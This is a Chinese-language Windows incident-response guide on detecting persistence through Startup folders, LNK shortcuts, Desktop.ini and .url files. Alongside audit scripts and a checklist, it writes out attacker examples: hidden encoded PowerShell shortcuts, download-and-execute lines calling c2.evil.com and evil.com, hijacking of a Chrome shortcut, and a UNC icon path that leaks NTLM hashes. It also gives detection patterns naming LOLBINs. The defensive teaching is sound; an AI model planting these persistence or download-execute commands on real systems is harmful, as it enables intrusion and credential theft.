Windows应急响应/24-启动文件夹与快捷方式 tags:: #Windows应急响应 #持久化 #启动文件夹 #Startup #LNK #Backdoor category:: 持久化与后门检测 difficulty:: 中级 platform:: Windows 7/10/11, Server 2012-2022
概述 Startup Folder(启动文件夹)和LNK(快捷方式)操纵是Windows中最古老但仍然有效的持久化方法
启动文件夹中的程序和快捷方式在用户登录时自动执行
MITRE ATT&CK: T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
虽然技术简单,但通过LNK参数混淆、Desktop.ini滥用等技巧仍然能够绕过检测
Linux对比: 18-Bashrc与Profile后门 — 类似的用户登录自启动机制
一、启动文件夹基础 1.1 启动文件夹路径 用户启动文件夹(仅当前用户) :
1 C :\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
快速打开: shell:startup
全局启动文件夹(所有用户) :
1 C :\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
快速打开: shell:common startup
用户启动文件夹不需要管理员权限,全局启动文件夹需要
1.2 注册表中的启动文件夹路径配置 启动文件夹路径由注册表定义:
1 2 3 4 5 6 7 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders 值名: Startup 默认值: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders 值名: Common Startup 默认值: %ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup
攻击向量 : 攻击者可以修改Startup路径指向恶意目录:
1 2 3 4 5 6 7 8 9 10 11 12 $userStartup = (Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" ).Startup$commonStartup = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -ErrorAction SilentlyContinue)."Common Startup" Write-Host "User Startup: $userStartup " Write-Host "Common Startup: $commonStartup " $expectedUser = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" if ($userStartup -ne $expectedUser ) { Write-Host "[!] User Startup path has been MODIFIED!" -ForegroundColor Red }
1.3 查看启动文件夹内容 快速列出所有启动项:
1 2 3 4 5 6 7 8 9 Write-Host "[*] User Startup Folder:" -ForegroundColor CyanGet-ChildItem "$env:APPDATA \Microsoft\Windows\Start Menu\Programs\Startup" -Force | Select-Object Name, Extension, Length, CreationTime, LastWriteTime | Format-Table -AutoSize Write-Host "`n[*] Common Startup Folder:" -ForegroundColor CyanGet-ChildItem "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" -Force | Select-Object Name, Extension, Length, CreationTime, LastWriteTime | Format-Table -AutoSize
检查所有用户的启动文件夹:
1 2 3 4 5 6 7 8 9 10 Get-ChildItem "C:\Users" -Directory | ForEach-Object { $startupPath = "$ ($_ .FullName)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" if (Test-Path $startupPath ) { $items = Get-ChildItem $startupPath -Force if ($items ) { Write-Host "`n[*] $ ($_ .Name):" -ForegroundColor Yellow $items | Select-Object Name, Extension, CreationTime | Format-Table -AutoSize } } }
二、恶意LNK文件攻击 2.1 创建恶意LNK快捷方式 攻击者在启动文件夹放置恶意LNK文件:
1 2 3 4 5 6 7 8 9 10 11 12 $WshShell = New-Object -ComObject WScript.Shell$shortcut = $WshShell .CreateShortcut( "$env:APPDATA \Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk" ) $shortcut .TargetPath = "powershell.exe" $shortcut .Arguments = "-w hidden -nop -enc JABjAD0ATgBlAHcALQBPAGI..." $shortcut .WorkingDirectory = "C:\Windows\System32" $shortcut .WindowStyle = 7 $shortcut .IconLocation = "C:\Windows\System32\shell32.dll,47" $shortcut .Description = "Windows Update Check" $shortcut .Save()
VBScript方式(常见于钓鱼邮件的dropper):
1 cscript //nologo create_lnk.vbs
2.2 LNK Target/Arguments混淆 参数填充混淆 : 在Arguments中填充空格,使快捷方式属性对话框无法完全显示:
1 $shortcut .Arguments = " -w hidden -nop -c IEX(...)"
环境变量混淆 :
1 2 $shortcut .TargetPath = "%ComSpec%" $shortcut .Arguments = "/c powershell -w hidden -nop -c `"IEX(New-Object Net.WebClient).DownloadString('http://c2.evil.com/payload')`""
利用TargetPath长度限制 : LNK的TargetPath有260字符限制,但可以通过特殊构造绕过
路径穿越混淆 :
1 $shortcut .TargetPath = "C:\Windows\System32\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
2.3 已有LNK文件的篡改 攻击者不创建新LNK,而是修改已有快捷方式的目标:
1 2 3 4 5 6 7 8 9 10 11 12 $WshShell = New-Object -ComObject WScript.Shell$lnk = $WshShell .CreateShortcut("$env:USERPROFILE \Desktop\Chrome.lnk" )$originalTarget = $lnk .TargetPath$originalArgs = $lnk .Arguments$lnk .TargetPath = "cmd.exe" $lnk .Arguments = "/c start " "" " " "$originalTarget " " $originalArgs & start /b powershell -w hidden -nop -c " "IEX(...)" "" $lnk .Save()
用户点击快捷方式时,原始程序正常启动,同时后台执行恶意代码
检测: 对比LNK目标与预期目标
2.4 LNK嵌入式图标伪装 设置LNK图标为文档或文件夹图标,诱骗用户点击:
1 2 3 4 5 6 7 8 $shortcut .IconLocation = "C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE,0" $shortcut .IconLocation = "C:\Program Files\Adobe\Acrobat Reader\AcroRd32.exe,0" $shortcut .IconLocation = "C:\Windows\System32\shell32.dll,3"
三、Desktop.ini滥用 3.1 Desktop.ini基础 Desktop.ini是Windows用来自定义文件夹外观的配置文件
是隐藏+系统属性的文件
当Explorer打开包含Desktop.ini的文件夹时会读取并执行其中的配置
3.2 CLSID注入 Desktop.ini可以指定一个COM CLSID,当文件夹被访问时加载:
1 2 [.ShellClassInfo] CLSID2 ={00021401 -0000 -0000 -C000-000000000046 }
结合COM劫持(参见 23-COM劫持 ),可以实现:
在HKCU注册恶意COM对象
在目标文件夹放置指向该CLSID的Desktop.ini
用户打开文件夹时触发恶意代码
3.3 WebDAV/UNC路径利用 Desktop.ini可以引用远程资源:
1 2 [.ShellClassInfo] IconResource =\\evil.com\share\icon.ico,0
这会导致:
向攻击者服务器发起SMB连接(泄露NTLMv2 hash)
或通过WebDAV自动下载资源
用于信息收集和凭证窃取
3.4 检测Desktop.ini异常 扫描可疑的Desktop.ini:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $suspiciousPaths = @ ( "$env:USERPROFILE \Desktop" , "$env:USERPROFILE \Documents" , "$env:USERPROFILE \Downloads" , "$env:APPDATA \Microsoft\Windows\Start Menu\Programs\Startup" ) foreach ($dir in $suspiciousPaths ) { $ini = Join-Path $dir "Desktop.ini" if (Test-Path $ini ) { $content = Get-Content $ini -Raw -ErrorAction SilentlyContinue if ($content -match "(\\\\|http|CLSID|InprocServer)" ) { Write-Host "[!] Suspicious Desktop.ini: $ini " -ForegroundColor Red Write-Host $content -ForegroundColor Yellow } } }
四、高级LNK利用技术 4.1 LNK文件嵌入payload LNK文件可以在其额外数据块中存储任意数据:
1 2 3 4 5 6 7 8 9 10 $lnkPath = "$env:APPDATA \Microsoft\Windows\Start Menu\Programs\Startup\suspect.lnk" $bytes = [System.IO.File ]::ReadAllBytes($lnkPath )$size = (Get-Item $lnkPath ).LengthWrite-Host "LNK Size: $size bytes" if ($size -gt 10 KB) { Write-Host "[!] Unusually large LNK file - may contain embedded payload" -ForegroundColor Red }
攻击者将payload附加到LNK末尾,执行时自行提取
4.2 LNK文件属性解析 深度解析LNK文件的完整属性:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 function Parse-LnkFile { param ([string ]$Path ) $shell = New-Object -ComObject WScript.Shell $lnk = $shell .CreateShortcut($Path ) [PSCustomObject ]@ { FullPath = $Path TargetPath = $lnk .TargetPath Arguments = $lnk .Arguments WorkingDirectory = $lnk .WorkingDirectory WindowStyle = switch ($lnk .WindowStyle) { 1 {"Normal" }; 3 {"Maximized" }; 7 {"Minimized" }; default {"Unknown($_ )" } } IconLocation = $lnk .IconLocation Hotkey = $lnk .Hotkey Description = $lnk .Description FileSize = (Get-Item $Path ).Length Created = (Get-Item $Path ).CreationTime Modified = (Get-Item $Path ).LastWriteTime } } $startupPath = "$env:APPDATA \Microsoft\Windows\Start Menu\Programs\Startup" Get-ChildItem $startupPath -Filter "*.lnk" | ForEach-Object { Parse-LnkFile $_ .FullName } | Format-List
LNK文件的ExtraData块可以包含EnvironmentVariableDataBlock:
1 2 3 4 # LNK结构中的额外数据块 EnvironmentVariableDataBlock: TargetAnsi: %COMSPEC% TargetUnicode: %COMSPEC%
某些安全工具只解析主TargetPath,不检查ExtraData中的覆盖
攻击者利用这一点,让主TargetPath看起来合法,但实际执行路径在ExtraData中
五、检测方法 5.1 启动文件夹全面扫描 完整的启动文件夹安全审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 function Audit-StartupFolders { Write-Host "=== Startup Folder Security Audit ===" -ForegroundColor Cyan Write-Host "`n[1] Startup Path Validation:" -ForegroundColor Yellow $userStartup = (Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" ).Startup $expectedPath = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" if ($userStartup -eq $expectedPath ) { Write-Host " User Startup: OK (default)" -ForegroundColor Green } else { Write-Host " [!] User Startup MODIFIED: $userStartup " -ForegroundColor Red } Write-Host "`n[2] Startup Folder Contents:" -ForegroundColor Yellow Get-ChildItem "C:\Users" -Directory | ForEach-Object { $startup = "$ ($_ .FullName)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" if (Test-Path $startup ) { $items = Get-ChildItem $startup -Force -ErrorAction SilentlyContinue foreach ($item in $items ) { $flags = @ () if ($item .Extension -eq '.lnk' ) { $shell = New-Object -ComObject WScript.Shell $lnk = $shell .CreateShortcut($item .FullName) if ($lnk .TargetPath -match "(?i)(powershell|cmd|mshta|wscript|cscript|rundll32)" ) { $flags += "LOLBIN_TARGET" } if ($lnk .Arguments -match "(?i)(-enc|base64|hidden|downloadstring)" ) { $flags += "SUSPICIOUS_ARGS" } if ($item .Length -gt 10 KB) { $flags += "OVERSIZED_LNK" } Write-Host " [$ ($_ .Name)] $ ($item .Name)" -ForegroundColor White Write-Host " Target: $ ($lnk .TargetPath)" -ForegroundColor Gray Write-Host " Args: $ ($lnk .Arguments)" -ForegroundColor Gray } elseif ($item .Extension -match "\.(exe|bat|cmd|vbs|vbe|js|jse|ps1|wsf|scr)$ " ) { $flags += "DIRECT_EXECUTABLE" Write-Host " [$ ($_ .Name)] $ ($item .Name)" -ForegroundColor White } if ($flags .Count -gt 0 ) { Write-Host " [!] Flags: $ ($flags -join ', ')" -ForegroundColor Red } } } } Write-Host "`n[3] Common Startup:" -ForegroundColor Yellow $commonStartup = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" Get-ChildItem $commonStartup -Force -ErrorAction SilentlyContinue | ForEach-Object { Write-Host " $ ($_ .Name) (Created: $ ($_ .CreationTime))" -ForegroundColor White } } Audit-StartupFolders
5.2 LNK文件深度分析 使用LECmd(Eric Zimmerman的LNK解析工具):
1 2 3 4 5 :: 解析单个LNK文件 LECmd.exe -f "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\suspect.lnk" :: 批量解析目录 LECmd.exe -d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" --csv C:\IR_Evidence\lnk_analysis
LECmd可以解析LNK的所有额外数据块,包括:
EnvironmentVariableDataBlock
TrackerDataBlock(包含创建LNK的机器MAC地址等)
ExtraData嵌入数据
5.3 Autoruns检查 Autoruns可以检查启动文件夹:
1 autorunsc.exe -a l -m -s -h -c -nobanner > autoruns_logon.csv
启动文件夹中的条目会出现在”Logon”标签下
5.4 文件系统时间线分析 检查启动文件夹中文件的时间戳:
1 2 3 4 5 6 7 8 9 10 11 12 13 $startupPaths = @ ( "$env:APPDATA \Microsoft\Windows\Start Menu\Programs\Startup" , "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" ) $cutoff = (Get-Date ).AddDays(-30 )foreach ($path in $startupPaths ) { Get-ChildItem $path -Force -ErrorAction SilentlyContinue | Where-Object { $_ .CreationTime -gt $cutoff -or $_ .LastWriteTime -gt $cutoff } | Select-Object FullName, CreationTime, LastWriteTime, Length | Format-Table -AutoSize }
六、特殊技巧 6.1 URL文件利用 .url文件(Internet Shortcut)也可以放在启动文件夹:
1 2 [InternetShortcut] URL =file:///C:/Users/Public/payload.hta
或者指向远程HTA:
1 2 [InternetShortcut] URL =http://evil.com/payload.hta
Windows会使用默认处理程序打开该URL
6.2 BAT/CMD脚本 在启动文件夹直接放置批处理脚本:
1 2 3 @echo off start /b powershell.exe -w hidden -nop -c "IEX(New-Object Net .WebClient).DownloadString('http://c2/payload')"exit
简单但有效,适合快速部署
6.3 WSF/VBS脚本 Windows Script File放在启动文件夹:
1 2 Set objShell = CreateObject ("WScript.Shell" )objShell.Run "powershell -w hidden -nop -c ""IEX(...)""" , 0 , False
WSF格式支持混合多种脚本语言
七、清除与修复 7.1 删除恶意启动项 删除启动文件夹中的恶意文件:
1 2 3 4 5 6 7 8 9 $evidence = "C:\IR_Evidence\Startup" New-Item -ItemType Directory -Path $evidence -Force Copy-Item "$env:APPDATA \Microsoft\Windows\Start Menu\Programs\Startup\*" $evidence -Force Remove-Item "$env:APPDATA \Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk" -Force
7.2 修复被篡改的启动文件夹路径 如果Startup注册表路径被修改:
1 2 3 4 Set-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" ` -Name "Startup" ` -Value "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
7.3 修复被篡改的桌面快捷方式 重新创建正确的快捷方式:
1 2 3 4 5 $WshShell = New-Object -ComObject WScript.Shell$lnk = $WshShell .CreateShortcut("$env:USERPROFILE \Desktop\Chrome.lnk" )$lnk .TargetPath = "C:\Program Files\Google\Chrome\Application\chrome.exe" $lnk .Arguments = "" $lnk .Save()
八、关联检查 启动文件夹后门应与以下内容关联:
18-Registry-Run后门 — Run Key是另一种登录自启动
23-COM劫持 — Desktop.ini可以触发COM对象
19-计划任务后门 — 可能同时存在多种持久化
18-Bashrc与Profile后门 — Linux等效的用户登录持久化
九、应急响应Checklist [ ] 检查所有用户的启动文件夹内容
[ ] 检查全局启动文件夹 (Common Startup)
[ ] 验证Startup注册表路径是否为默认值
[ ] 深度解析所有LNK文件的Target和Arguments
[ ] 检查LNK文件大小是否异常(>10KB可疑)
[ ] 检查启动文件夹中的Desktop.ini
[ ] 检查.url/.bat/.vbs/.ps1等脚本文件
[ ] 使用LECmd解析LNK额外数据块
[ ] 检查桌面上的常用快捷方式是否被篡改
[ ] 收集证据后清除恶意启动项